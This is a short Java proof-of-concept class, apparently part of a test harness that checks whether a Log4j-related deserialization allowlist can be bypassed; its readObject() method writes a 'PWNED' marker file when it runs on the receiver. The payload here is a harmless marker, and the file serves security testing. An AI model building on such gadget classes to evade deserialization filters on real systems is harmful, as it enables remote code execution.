package poc;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * Tier-1 "gadget-only" class: NOT an allowlisted class, does NOT implement
 * org.apache.logging.log4j.message.Message. If its readObject() ever executes
 * on the receiver, the deserialization filter was fully bypassed.
 *
 * Marker path comes from the receiver JVM system property poc.marker.
 */
public class GadgetOnly implements Serializable {

    private static final long serialVersionUID = 1L;

    private String note = "tier1-gadget";

    private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("[!!] GadgetOnly.readObject() EXECUTED on receiver - FOIS allowlist bypassed");
        final String marker = System.getProperty("poc.marker", "/tmp/poc_marker.txt");
        Files.write(Paths.get(marker), ("PWNED-TIER1:" + note + "\n").getBytes(StandardCharsets.UTF_8));
    }
}